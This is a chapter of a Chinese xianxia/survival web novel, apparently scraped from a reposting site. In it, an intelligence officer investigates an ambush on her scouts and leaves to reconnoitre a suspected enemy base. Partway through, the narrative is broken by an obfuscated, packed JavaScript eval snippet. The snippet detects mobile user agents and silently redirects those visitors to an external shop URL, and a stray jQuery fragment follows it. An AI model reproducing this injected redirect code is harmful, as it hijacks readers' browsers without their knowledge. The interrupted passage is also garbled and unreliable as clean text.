文趣网 > 其他小说 > 当数学天赋被迫修仙后 > 23. 第 23 章
    第二十三章

    温晚收到线人紧急消息的时候,天还没亮。她趴在情报室的工作台上睡着了,记录仪的屏幕还亮着,停在昨晚最后一条未归档的情报条目上。手环震动把她惊醒的瞬间,她条件反射地坐直身体,手指已经点开了加密频道。消息很短,只有几行字,但每一行都在她的脑子里炸出一片寒意。

    “今日凌晨,编号0841与编号1127在林海中层偏南区域巡逻时遭遇不明身份者伏击。0841轻伤,1127重伤,已被同队成员救回据点。据0841描述,伏击者共三人,着统一深色外衣,配合默契,出手狠辣。目标似乎是巡逻队员随身携带的情报物资——1127的加密记录仪被抢走了。”

    温晚把这条消息从头到尾看了三遍。编号0841和1127是她手下的外围线人。他们负责的是林海中层偏南区域的巡逻侦察,那片区域距离黎明领地最远,但也是她特意设置的前哨——如果“先知”要派侦察兵渗透黎明领地,偏南方向是必经之路。伏击发生的位置,恰好卡在外围线人的固定巡逻路线上。对方知道她的巡逻时间表。

    她站起来,膝盖撞到工作台边缘,碰落了一叠树皮笔记。她没有弯腰去捡,而是快步走出情报室。门外晨光未亮,营地还在沉睡,训练场上的雪地泛着冷白色的微光。哨塔上的火把在夜风中跳动,值夜班的哨兵看到她匆匆穿过营地中央,以为是紧急集合,下意识握紧了弩机。

    苏然在阵法研究室里。她已经醒了,正蹲在地上检查昨晚画好的触发式困阵阵图。炭笔草稿摊了一地,每一张都标注着不同的节点间距和触发阈值。温晚推门进来时,她抬头看了一眼温晚的表情,放下了手里的阵图。

    “出事了。”温晚把记录仪递过去。

    苏然逐行看完消息,然后问:“1127的加密记录仪里有什么?”

    “我在梳理信息,发现了一个……不太对劲的地方。”温晚的声音压得很低,但语速很快,手指在记录仪上调出另一份文件,“昨晚我整理了最近一周外围巡逻的汇报日志。其中编号0841和1127提交过一份联合侦察记录——他们发现了类似‘诱兽桩’的东西,就在偏南方向那片烧焦的林地边缘。”

    “诱兽桩。”苏然重复了一遍这三个字。驱赶污染兽群的术法工具,太虚宗的禁忌之术。上次兽潮时,林朔在战后搜索外围林地时发现了几根被人为削制的木桩,桩身上刻着驱兽符文,符文周围残留着诱使兽群发狂的灵力痕迹。当时他们把那些桩子带回来交给顾辞鉴定,顾辞确认了符文的来源——太虚宗禁术,只有极少数人掌握。“诱兽桩出现的位置,和伏击发生的位置有多远?”

    温晚的手指在地图上移动,点亮了两个坐标。两个位置几乎重叠。“伏击就发生在诱兽桩附近。他们昨天去复查那些桩子还在不在——结果遭遇了伏击。对方知道他们会去复查。对方故意把诱兽桩留在那里,等着他们回头。”

    苏然接过记录仪,用自己的领主权限打开那份标记为“最高机密”的情报档案。屏幕上展开的是1127在遇袭前一天提交的最后一份巡逻日志,附件是一段手绘地图和几行潦草的备注。1127的巡逻区域覆盖偏南方向的林地边缘,他在地图上标注了诱兽桩的具体位置、数量和被破坏的程度。备注里写了一段话——“桩身上的符文和上次林教官带回营地鉴定的那根几乎一样,但刻痕更新,应该是最近才削制的,木质切面还没完全氧化。旁边有一些不明血迹,不像是污染兽的,颜色太浅,粘度偏低。”

    苏然把这份报告看了两遍。然后她注意到一个之前被忽略的细节:1127在报告中提到,他在那片林地附近遇到了一个自称是独行玩家的陌生人——对方主动向他询问附近哪里有水源。1127警惕性很高,没有透露营地的具体位置,只给他指了溪流下游的方向。但那个陌生人在临走前说了一句话——“你们领地的防御做得真不错。”

    “这件事1127当时为什么不单独汇报?”苏然问。

    温晚翻到报告最下方的备注栏。那里有1127的一段解释——“我认为此人只是个普通的独行玩家,询问水源是正常求生需求。他夸领地防御,可能是因为我们在林间伐木场堆放了不少建材,外人路过就能看到。”但温晚说她已经把这条记录和最近收集到的所有目击报告逐一比对过——最近在领地外围频繁出现的陌生人,通常成群出动,很少单独行动。唯独这个人,孤身一人,主动搭话,言辞友善。和之前那些保持沉默、被触发预警绳就迅速撤离的人完全不是一个路数。

    “两种可能。要么他和他们不是一伙的——要么他比他们更危险。”苏然说,“1127的报告里写,对方说‘你们领地的防御做得真不错’。如果这只是随口夸一句,那他确实可能只是路过。但他夸的不是风景,不是天气,是‘防御’。他在暗示他见过我们的防御,而且他懂。”

    研究室里安静了片刻。从丹房遗迹回来后,苏然一直觉得有什么东西在暗中盯着这片营地——不是污染兽那种盲目的攻击,而是一种更沉得住气的、缓慢靠近的威胁。“先知”的信、反复出现的陌生人、被人摸透的巡逻规律、现在又加上专门针对情报员的伏击。所有这些片段在脑子里排成一条线,指向同一个推论:对手正在有系统地瓦解黎明领地的外围情报网。

    “他要的是信息差。”苏然说,“如果他能在进攻前把我们所有的外围线人都打掉,我们就会变成瞎子。目前我们对他据点的确切位置、兵力分布和进攻时间都还不完全清楚,如果情报网现在被掐断,我们的预警时间会从几天缩短到几小时。”

    温晚点头。她调出所有外围线人的档案,逐一核查他们的巡逻路线是否已经暴露。每条巡逻路线都是她亲手设计的——她一直很小心,每隔几天更换巡逻时间,不同区域的巡逻队使用不同的加密频道,关键情报需要双重验证。但1127出事说明对方已经摸透了至少一条固定路线,而她还不确定这个漏洞是怎么产生的。

    她发现诱兽桩出现的位置和伏击发生的位置之间有一条模糊的连线——沿着那几处诱兽桩的分布轨迹,再往外推数十里,正好通向一片她之前从未收到过任何情报的空白地带。那片区域地势偏高,远离水源,理论上不适合扎营,所以一直没有线人深入探查。但反过来想,如果她是对方,她也会选一个没有人会去的地方当据点。

    “我需要一个线人。”温晚的声音很轻,但语气没有犹豫,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17872111|212316||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “不是外围巡逻的那种——是能摸进那片区域的。”

    苏然看着她。温晚说的是“我”,不是“我们”。这意味着她打算亲自去。

    “太危险。”

    “我不是一个人。”温晚说,“阿萤跟我去。她是速度型,擅长侦察和撤退。我们不是去战斗,是去确认——确认那片区域是不是他的据点。”她顿了顿,又说,“1127是我的线人。他受伤是因为我的情报网有漏洞。如果我连自己的人都保护不了,这个情报官就当得名不副实。”

    苏然沉默了一阵,然后说:“出发前让顾辞给你们的护甲附上隐灵咒。不能恋战,一旦被发现立即撤退。行动细节由你全权策划,我把阿萤调给你。保持加密频道静默,每晚定时用暗语报平安——只报平安,不给任何可被追踪的信号。”

    温晚点头。她把记录仪收进背包,转身要走,苏然又叫住了她。“你不只是情报官,”苏然说,“你是副队长。副队长的职责不是替线人去涉险。”

    温晚回过头,对她笑了一下。那个笑容很淡,但眼眶有点红。“我知道。但这次,我需要自己去。”她没有等苏然回应,快步走出阵法研究室。

    晨光刚刚开始染亮东边的树冠。江屿白从她的宿舍走出来,手里端着一杯刚煮好的药茶——这是她每天早上雷打不动的习惯,在进炼丹房之前先喝一杯热茶暖暖胃。她站在宿舍门口,看到营地中央已经围了一圈人,林朔正在给外围线人们一一交代任务,阿萤在旁边把紧急药包塞进几个受伤线人的背包里。她喝了一口茶,没有走过去打扰他们,只是站在晨光里静静地看着——她能认出每一种伤药的配方,能看清包扎方式的优劣,能判断此刻是谁需要她,是谁还能再等一等。这是一种不用多说的默契。

    她转身朝炼丹房走去。今天有一批情绪稳定丹需要补充库存,还有上次实验发现的低温催化清心草需要再做一组对照数据。她的脚步不快——腿上的旧伤在阴天还是会隐隐作痛,但她没有停下来。走进炼丹房之前,她回头又看了一眼营地中央正在集结的人影,然后安静地合上了门。她会在所有人都回来之前把丹药备好。这是她的战场。

    正午时分,温晚和阿萤已经整装待发。阿萤把短刀系在腰间,又检查了一遍靴底的防滑纹路。温晚把记录仪调成加密静默模式,在出发前对着营地公告牌拍了最后一张照片——那上面贴着七条规则,从“水源使用规范”到“冬季供暖期间老弱病残者优先靠近篝火”,每一条都字迹清晰。她把照片存进“荒界情报档案”,在备注里写了一行字:临行留档。

    苏然把她们送到营地入口。在拒马旁边,她拉住温晚的手腕,把一枚用灵石碎片打磨成的微型阵符塞进她手里——不是预警符,是一次性传讯符。捏碎它,不管多远,她都能感知到。“每天入夜后用暗语报平安。如果漏报一次,我就去找你。”

    温晚把阵符握紧,点了点头。她转身和阿萤一起朝林地深处走去,两人的身影很快消失在树冠的阴影里,只留下雪地上两串并行延伸的脚印。苏然站在营地入口望着她们远去的方向,手指无声地握紧了衣侧。她没有跟任何人说,但她把当天的领主日常表在脑子里重新排了一遍——预留了带人策应的空档。